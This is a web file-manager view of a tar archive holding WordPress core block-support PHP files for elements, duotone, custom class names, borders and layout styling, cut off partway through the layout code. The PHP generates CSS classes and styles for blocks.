File manager - Edit - /home/decorea/www/wp-includes/certificates/XML/block-supports.tar
Back
elements.php 0000644 00000020730 15223332731 0007074 0 ustar 00 <?php /** * Elements styles block support. * * @package WordPress * @since 5.8.0 */ /** * Gets the elements class names. * * @since 6.0.0 * @access private * * @param array $block Block object. * @return string The unique class name. */ function wp_get_elements_class_name( $block ) { return 'wp-elements-' . md5( serialize( $block ) ); } /** * Determines whether an elements class name should be added to the block. * * @since 6.6.0 * @access private * * @param array $block Block object. * @param array $options Per element type options e.g. whether to skip serialization. * @return boolean Whether the block needs an elements class name. */ function wp_should_add_elements_class_name( $block, $options ) { if ( ! isset( $block['attrs']['style']['elements'] ) ) { return false; } $element_color_properties = array( 'button' => array( 'skip' => isset( $options['button']['skip'] ) ? $options['button']['skip'] : false, 'paths' => array( array( 'button', 'color', 'text' ), array( 'button', 'color', 'background' ), array( 'button', 'color', 'gradient' ), ), ), 'link' => array( 'skip' => isset( $options['link']['skip'] ) ? $options['link']['skip'] : false, 'paths' => array( array( 'link', 'color', 'text' ), array( 'link', ':hover', 'color', 'text' ), ), ), 'heading' => array( 'skip' => isset( $options['heading']['skip'] ) ? $options['heading']['skip'] : false, 'paths' => array( array( 'heading', 'color', 'text' ), array( 'heading', 'color', 'background' ), array( 'heading', 'color', 'gradient' ), array( 'h1', 'color', 'text' ), array( 'h1', 'color', 'background' ), array( 'h1', 'color', 'gradient' ), array( 'h2', 'color', 'text' ), array( 'h2', 'color', 'background' ), array( 'h2', 'color', 'gradient' ), array( 'h3', 'color', 'text' ), array( 'h3', 'color', 'background' ), array( 'h3', 'color', 'gradient' ), array( 'h4', 'color', 'text' ), array( 'h4', 'color', 'background' ), array( 'h4', 'color', 'gradient' ), array( 'h5', 'color', 'text' ), array( 'h5', 'color', 'background' ), array( 'h5', 'color', 'gradient' ), array( 'h6', 'color', 'text' ), array( 'h6', 'color', 'background' ), array( 'h6', 'color', 'gradient' ), ), ), ); $elements_style_attributes = $block['attrs']['style']['elements']; foreach ( $element_color_properties as $element_config ) { if ( $element_config['skip'] ) { continue; } foreach ( $element_config['paths'] as $path ) { if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) { return true; } } } return false; } /** * Render the elements stylesheet and adds elements class name to block as required. * * In the case of nested blocks we want the parent element styles to be rendered before their descendants. * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant: * we want the descendant style to take priority, and this is done by loading it after, in DOM order. * * @since 6.0.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`. * @access private * * @param array $parsed_block The parsed block. * @return array The same parsed block with elements classname added if appropriate. */ function wp_render_elements_support_styles( $parsed_block ) { /* * The generation of element styles and classname were moved to the * `render_block_data` filter in 6.6.0 to avoid filtered attributes * breaking the application of the elements CSS class. * * @see https://github.com/WordPress/gutenberg/pull/59535 * * The change in filter means, the argument types for this function * have changed and require deprecating. */ if ( is_string( $parsed_block ) ) { _deprecated_argument( __FUNCTION__, '6.6.0', __( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' ) ); } $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] ); $element_block_styles = isset( $parsed_block['attrs']['style']['elements'] ) ? $parsed_block['attrs']['style']['elements'] : null; if ( ! $element_block_styles ) { return $parsed_block; } $skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ); $skip_heading_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' ); $skip_button_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' ); $skips_all_element_color_serialization = $skip_link_color_serialization && $skip_heading_color_serialization && $skip_button_color_serialization; if ( $skips_all_element_color_serialization ) { return $parsed_block; } $options = array( 'button' => array( 'skip' => $skip_button_color_serialization ), 'link' => array( 'skip' => $skip_link_color_serialization ), 'heading' => array( 'skip' => $skip_heading_color_serialization ), ); if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) { return $parsed_block; } $class_name = wp_get_elements_class_name( $parsed_block ); $updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name; _wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name ); // Generate element styles based on selector and store in style engine for enqueuing. $element_types = array( 'button' => array( 'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link", 'skip' => $skip_button_color_serialization, ), 'link' => array( 'selector' => ".$class_name a:where(:not(.wp-element-button))", 'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover", 'skip' => $skip_link_color_serialization, ), 'heading' => array( 'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6", 'skip' => $skip_heading_color_serialization, 'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ); foreach ( $element_types as $element_type => $element_config ) { if ( $element_config['skip'] ) { continue; } $element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null; // Process primary element type styles. if ( $element_style_object ) { wp_style_engine_get_styles( $element_style_object, array( 'selector' => $element_config['selector'], 'context' => 'block-supports', ) ); if ( isset( $element_style_object[':hover'] ) ) { wp_style_engine_get_styles( $element_style_object[':hover'], array( 'selector' => $element_config['hover_selector'], 'context' => 'block-supports', ) ); } } // Process related elements e.g. h1-h6 for headings. if ( isset( $element_config['elements'] ) ) { foreach ( $element_config['elements'] as $element ) { $element_style_object = isset( $element_block_styles[ $element ] ) ? $element_block_styles[ $element ] : null; if ( $element_style_object ) { wp_style_engine_get_styles( $element_style_object, array( 'selector' => ".$class_name $element", 'context' => 'block-supports', ) ); } } } } return $parsed_block; } /** * Ensure the elements block support class name generated, and added to * block attributes, in the `render_block_data` filter gets applied to the * block's markup. * * @see wp_render_elements_support_styles * @since 6.6.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_elements_class_name( $block_content, $block ) { $class_string = $block['attrs']['className'] ?? ''; preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches ); if ( empty( $matches ) ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( $matches[0] ); } return $tags->get_updated_html(); } add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 ); add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 ); duotone.php 0000644 00000005253 15223332731 0006740 0 ustar 00 <?php /** * Duotone block support flag. * * Parts of this source were derived and modified from TinyColor, * released under the MIT license. * * https://github.com/bgrins/TinyColor * * Copyright (c), Brian Grinstead, http://briangrinstead.com * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * @package WordPress * @since 5.8.0 */ // Register the block support. WP_Block_Supports::get_instance()->register( 'duotone', array( 'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ), ) ); // Add classnames to blocks using duotone support. add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 ); add_filter( 'render_block_core/image', array( 'WP_Duotone', 'restore_image_outer_container' ), 10, 1 ); // Enqueue styles. // Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles). // Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles). add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 ); add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 ); // Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css). add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 ); // Add styles and SVGs for use in the editor via the EditorStyles component. add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 ); // Migrate the old experimental duotone support flag. add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 ); custom-classname.php 0000644 00000003213 15223332731 0010533 0 ustar 00 <?php /** * Custom classname block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the custom classname block attribute for block types that support it. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_custom_classname_support( $block_type ) { $has_custom_classname_support = block_has_support( $block_type, 'customClassName', true ); if ( $has_custom_classname_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'className', $block_type->attributes ) ) { $block_type->attributes['className'] = array( 'type' => 'string', ); } } } /** * Adds the custom classnames to the output. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block CSS classes and inline styles. */ function wp_apply_custom_classname_support( $block_type, $block_attributes ) { $has_custom_classname_support = block_has_support( $block_type, 'customClassName', true ); $attributes = array(); if ( $has_custom_classname_support ) { $has_custom_classnames = array_key_exists( 'className', $block_attributes ); if ( $has_custom_classnames ) { $attributes['class'] = $block_attributes['className']; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'custom-classname', array( 'register_attribute' => 'wp_register_custom_classname_support', 'apply' => 'wp_apply_custom_classname_support', ) ); border.php 0000644 00000014426 15223332731 0006542 0 ustar 00 <?php /** * Border block support flag. * * @package WordPress * @since 5.8.0 */ /** * Registers the style attribute used by the border feature if needed for block * types that support borders. * * @since 5.8.0 * @since 6.1.0 Improved conditional blocks optimization. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_border_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) { $block_type->attributes['borderColor'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for border styles to the incoming * attributes array. This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Border CSS classes and inline styles. */ function wp_apply_border_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) { return array(); } $border_block_styles = array(); $has_border_color_support = wp_has_border_feature_support( $block_type, 'color' ); $has_border_width_support = wp_has_border_feature_support( $block_type, 'width' ); // Border radius. if ( wp_has_border_feature_support( $block_type, 'radius' ) && isset( $block_attributes['style']['border']['radius'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' ) ) { $border_radius = $block_attributes['style']['border']['radius']; if ( is_numeric( $border_radius ) ) { $border_radius .= 'px'; } $border_block_styles['radius'] = $border_radius; } // Border style. if ( wp_has_border_feature_support( $block_type, 'style' ) && isset( $block_attributes['style']['border']['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ) { $border_block_styles['style'] = $block_attributes['style']['border']['style']; } // Border width. if ( $has_border_width_support && isset( $block_attributes['style']['border']['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ) { $border_width = $block_attributes['style']['border']['width']; // This check handles original unitless implementation. if ( is_numeric( $border_width ) ) { $border_width .= 'px'; } $border_block_styles['width'] = $border_width; } // Border color. if ( $has_border_color_support && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ) { $preset_border_color = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null; $custom_border_color = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null; $border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color; } // Generates styles for individual border sides. if ( $has_border_color_support || $has_border_width_support ) { foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) { $border = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null; $border_side_values = array( 'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null, 'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null, 'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null, ); $border_block_styles[ $side ] = $border_side_values; } } // Collect classes and styles. $attributes = array(); $styles = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) ); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Checks whether the current block type supports the border feature requested. * * If the `__experimentalBorder` support flag is a boolean `true` all border * support features are available. Otherwise, the specific feature's support * flag nested under `experimentalBorder` must be enabled for the feature * to be opted into. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block type to check for support. * @param string $feature Name of the feature to check support for. * @param mixed $default_value Fallback value for feature support, defaults to false. * @return bool Whether the feature is supported. */ function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) { // Check if all border support features have been opted into via `"__experimentalBorder": true`. if ( $block_type instanceof WP_Block_Type ) { $block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] ) ? $block_type->supports['__experimentalBorder'] : $default_value; if ( true === $block_type_supports_border ) { return true; } } // Check if the specific feature has been opted into individually // via nested flag under `__experimentalBorder`. return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'border', array( 'register_attribute' => 'wp_register_border_support', 'apply' => 'wp_apply_border_support', ) ); layout.php 0000644 00000115773 15223332731 0006611 0 ustar 00 <?php /** * Layout block support flag. * * @package WordPress * @since 5.8.0 */ /** * Returns layout definitions, keyed by layout type. * * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type. * When making changes or additions to layout definitions, the corresponding JavaScript definitions should * also be updated. * * @since 6.3.0 * @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity. * @access private * * @return array[] Layout definitions. */ function wp_get_layout_definitions() { $layout_definitions = array( 'default' => array( 'name' => 'default', 'slug' => 'flow', 'className' => 'is-layout-flow', 'baseStyles' => array( array( 'selector' => ' > .alignleft', 'rules' => array( 'float' => 'left', 'margin-inline-start' => '0', 'margin-inline-end' => '2em', ), ), array( 'selector' => ' > .alignright', 'rules' => array( 'float' => 'right', 'margin-inline-start' => '2em', 'margin-inline-end' => '0', ), ), array( 'selector' => ' > .aligncenter', 'rules' => array( 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), ), 'spacingStyles' => array( array( 'selector' => ' > :first-child', 'rules' => array( 'margin-block-start' => '0', ), ), array( 'selector' => ' > :last-child', 'rules' => array( 'margin-block-end' => '0', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin-block-start' => null, 'margin-block-end' => '0', ), ), ), ), 'constrained' => array( 'name' => 'constrained', 'slug' => 'constrained', 'className' => 'is-layout-constrained', 'baseStyles' => array( array( 'selector' => ' > .alignleft', 'rules' => array( 'float' => 'left', 'margin-inline-start' => '0', 'margin-inline-end' => '2em', ), ), array( 'selector' => ' > .alignright', 'rules' => array( 'float' => 'right', 'margin-inline-start' => '2em', 'margin-inline-end' => '0', ), ), array( 'selector' => ' > .aligncenter', 'rules' => array( 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), array( 'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))', 'rules' => array( 'max-width' => 'var(--wp--style--global--content-size)', 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), array( 'selector' => ' > .alignwide', 'rules' => array( 'max-width' => 'var(--wp--style--global--wide-size)', ), ), ), 'spacingStyles' => array( array( 'selector' => ' > :first-child', 'rules' => array( 'margin-block-start' => '0', ), ), array( 'selector' => ' > :last-child', 'rules' => array( 'margin-block-end' => '0', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin-block-start' => null, 'margin-block-end' => '0', ), ), ), ), 'flex' => array( 'name' => 'flex', 'slug' => 'flex', 'className' => 'is-layout-flex', 'displayMode' => 'flex', 'baseStyles' => array( array( 'selector' => '', 'rules' => array( 'flex-wrap' => 'wrap', 'align-items' => 'center', ), ), array( 'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001. 'rules' => array( 'margin' => '0', ), ), ), 'spacingStyles' => array( array( 'selector' => '', 'rules' => array( 'gap' => null, ), ), ), ), 'grid' => array( 'name' => 'grid', 'slug' => 'grid', 'className' => 'is-layout-grid', 'displayMode' => 'grid', 'baseStyles' => array( array( 'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001. 'rules' => array( 'margin' => '0', ), ), ), 'spacingStyles' => array( array( 'selector' => '', 'rules' => array( 'gap' => null, ), ), ), ), ); return $layout_definitions; } /** * Registers the layout block attribute for block types that support it. * * @since 5.8.0 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_layout_support( $block_type ) { $support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false ); if ( $support_layout ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'layout', $block_type->attributes ) ) { $block_type->attributes['layout'] = array( 'type' => 'object', ); } } } /** * Generates the CSS corresponding to the provided layout. * * @since 5.9.0 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles. * @since 6.3.0 Added grid layout type. * @since 6.6.0 Removed duplicated selector from layout styles. * Enabled negative margins for alignfull children of blocks with custom padding. * @access private * * @param string $selector CSS selector. * @param array $layout Layout object. The one that is passed has already checked * the existence of default block layout. * @param bool $has_block_gap_support Optional. Whether the theme has support for the block gap. Default false. * @param string|string[]|null $gap_value Optional. The block gap value to apply. Default null. * @param bool $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false. * @param string $fallback_gap_value Optional. The block gap value to apply. Default '0.5em'. * @param array|null $block_spacing Optional. Custom spacing set on the block. Default null. * @return string CSS styles on success. Else, empty string. */ function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) { $layout_type = isset( $layout['type'] ) ? $layout['type'] : 'default'; $layout_styles = array(); if ( 'default' === $layout_type ) { if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null; } if ( null !== $gap_value && ! $should_skip_gap_serialization ) { // Get spacing CSS variable from preset value if provided. if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) ); $gap_value = "var(--wp--preset--spacing--$slug)"; } array_push( $layout_styles, array( 'selector' => "$selector > *", 'declarations' => array( 'margin-block-start' => '0', 'margin-block-end' => '0', ), ), array( 'selector' => "$selector > * + *", 'declarations' => array( 'margin-block-start' => $gap_value, 'margin-block-end' => '0', ), ) ); } } } elseif ( 'constrained' === $layout_type ) { $content_size = isset( $layout['contentSize'] ) ? $layout['contentSize'] : ''; $wide_size = isset( $layout['wideSize'] ) ? $layout['wideSize'] : ''; $justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center'; $all_max_width_value = $content_size ? $content_size : $wide_size; $wide_max_width_value = $wide_size ? $wide_size : $content_size; // Make sure there is a single CSS rule, and all tags are stripped for security. $all_max_width_value = safecss_filter_attr( explode( ';', $all_max_width_value )[0] ); $wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] ); $margin_left = 'left' === $justify_content ? '0 !important' : 'auto !important'; $margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important'; if ( $content_size || $wide_size ) { array_push( $layout_styles, array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'max-width' => $all_max_width_value, 'margin-left' => $margin_left, 'margin-right' => $margin_right, ), ), array( 'selector' => "$selector > .alignwide", 'declarations' => array( 'max-width' => $wide_max_width_value ), ), array( 'selector' => "$selector .alignfull", 'declarations' => array( 'max-width' => 'none' ), ) ); } if ( isset( $block_spacing ) ) { $block_spacing_values = wp_style_engine_get_styles( array( 'spacing' => $block_spacing, ) ); /* * Handle negative margins for alignfull children of blocks with custom padding set. * They're added separately because padding might only be set on one side. */ if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) { $padding_right = $block_spacing_values['declarations']['padding-right']; // Add unit if 0. if ( '0' === $padding_right ) { $padding_right = '0px'; } $layout_styles[] = array( 'selector' => "$selector > .alignfull", 'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ), ); } if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) { $padding_left = $block_spacing_values['declarations']['padding-left']; // Add unit if 0. if ( '0' === $padding_left ) { $padding_left = '0px'; } $layout_styles[] = array( 'selector' => "$selector > .alignfull", 'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ), ); } } if ( 'left' === $justify_content ) { $layout_styles[] = array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'margin-left' => '0 !important' ), ); } if ( 'right' === $justify_content ) { $layout_styles[] = array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'margin-right' => '0 !important' ), ); } if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null; } if ( null !== $gap_value && ! $should_skip_gap_serialization ) { // Get spacing CSS variable from preset value if provided. if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) ); $gap_value = "var(--wp--preset--spacing--$slug)"; } array_push( $layout_styles, array( 'selector' => "$selector > *", 'declarations' => array( 'margin-block-start' => '0', 'margin-block-end' => '0', ), ), array( 'selector' => "$selector > * + *", 'declarations' => array( 'margin-block-start' => $gap_value, 'margin-block-end' => '0', ), ) ); } } } elseif ( 'flex' === $layout_type ) { $layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal'; $justify_content_options = array( 'left' => 'flex-start', 'right' => 'flex-end', 'center' => 'center', ); $vertical_alignment_options = array( 'top' => 'flex-start', 'center' => 'center', 'bottom' => 'flex-end', ); if ( 'horizontal' === $layout_orientation ) { $justify_content_options += array( 'space-between' => 'space-between' ); $vertical_alignment_options += array( 'stretch' => 'stretch' ); } else { $justify_content_options += array( 'stretch' => 'stretch' ); $vertical_alignment_options += array( 'space-between' => 'space-between' ); } if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'flex-wrap' => 'nowrap' ), ); } if ( $has_block_gap_support && isset( $gap_value ) ) { $combined_gap_value = ''; $gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' ); foreach ( $gap_sides as $gap_side ) { $process_value = $gap_value; if ( is_array( $gap_value ) ) { $process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value; } // Get spacing CSS variable from preset value if provided. if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $process_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) ); $process_value = "var(--wp--preset--spacing--$slug)"; } $combined_gap_value .= "$process_value "; } $gap_value = trim( $combined_gap_value ); if ( null !== $gap_value && ! $should_skip_gap_serialization ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'gap' => $gap_value ), ); } } if ( 'horizontal' === $layout_orientation ) { /* * Add this style only if is not empty for backwards compatibility, * since we intend to convert blocks that had flex layout implemented * by custom css. */ if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ), ); } if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ), ); } } else { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'flex-direction' => 'column' ), ); if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ), ); } else { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => 'flex-start' ), ); } if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ), ); } } } elseif ( 'grid' === $layout_type ) { if ( ! empty( $layout['columnCount'] ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ), ); } else { $minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem'; $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))', 'container-type' => 'inline-size', ), ); } if ( $has_block_gap_support && isset( $gap_value ) ) { $combined_gap_value = ''; $gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' ); foreach ( $gap_sides as $gap_side ) { $process_value = $gap_value; if ( is_array( $gap_value ) ) { $process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value; } // Get spacing CSS variable from preset value if provided. if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $process_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) ); $process_value = "var(--wp--preset--spacing--$slug)"; } $combined_gap_value .= "$process_value "; } $gap_value = trim( $combined_gap_value ); if ( null !== $gap_value && ! $should_skip_gap_serialization ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'gap' => $gap_value ), ); } } } if ( ! empty( $layout_styles ) ) { /* * Add to the style engine store to enqueue and render layout styles. * Return compiled layout styles to retain backwards compatibility. * Since https://github.com/WordPress/gutenberg/pull/42452, * wp_enqueue_block_support_styles is no longer called in this block supports file. */ return wp_style_engine_get_stylesheet_from_css_rules( $layout_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); } return ''; } /** * Renders the layout config to the block wrapper. * * @since 5.8.0 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles. * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`. * @since 6.6.0 Removed duplicate container class from layout styles. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_layout_support_flag( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false ); $child_layout = isset( $block['attrs']['style']['layout'] ) ? $block['attrs']['style']['layout'] : null; if ( ! $block_supports_layout && ! $child_layout ) { return $block_content; } $outer_class_names = array(); // Child layout specific logic. if ( $child_layout ) { /* * Generates a unique class for child block layout styles. * * To ensure consistent class generation across different page renders, * only properties that affect layout styling are used. These properties * come from `$block['attrs']['style']['layout']` and `$block['parentLayout']`. * * As long as these properties coincide, the generated class will be the same. */ $container_content_class = wp_unique_id_from_values( array( 'layout' => array_intersect_key( $block['attrs']['style']['layout'] ?? array(), array_flip( array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' ) ) ), 'parentLayout' => array_intersect_key( $block['parentLayout'] ?? array(), array_flip( array( 'minimumColumnWidth', 'columnCount' ) ) ), ), 'wp-container-content-' ); $child_layout_declarations = array(); $child_layout_styles = array(); $self_stretch = isset( $child_layout['selfStretch'] ) ? $child_layout['selfStretch'] : null; if ( 'fixed' === $self_stretch && isset( $child_layout['flexSize'] ) ) { $child_layout_declarations['flex-basis'] = $child_layout['flexSize']; 